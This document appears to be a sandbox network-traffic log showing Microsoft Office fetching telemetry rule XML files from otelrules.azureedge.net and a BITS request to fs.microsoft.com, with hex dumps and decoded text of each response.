2024-10-29 17:42:19 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-29 17:42:19 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-29 17:42:20 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-29 17:42:20 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-29 17:42:20 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-29 17:42:20 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174221Z-15b8d89586fbmg6qpd9yf8zhm000000001r000000000eqb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174221Z-16849878b78bcpfn2qf7sm6hsn00000008dg00000000npnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 85f3058c-201e-00aa-6c2c-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174221Z-15b8d89586f5s5nz3ffrgxn5ac00000007f000000000f7a1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174221Z-16849878b78nx5sne3fztmu6xc00000007v000000000czta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174221Z-16849878b786fl7gm2qg4r5y70000000073000000000mh6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 17:42:22 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=69146 Date: Tue, 29 Oct 2024 17:42:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174222Z-17c5cb586f6z6tw6g7cmdv30m8000000087g00000000a2s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174222Z-16849878b78zqkvcwgr6h55x9n00000006bg000000006z9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: b99e46b1-a01e-001e-0499-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174222Z-15b8d89586f989rkwt13xern5400000002800000000028ny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" 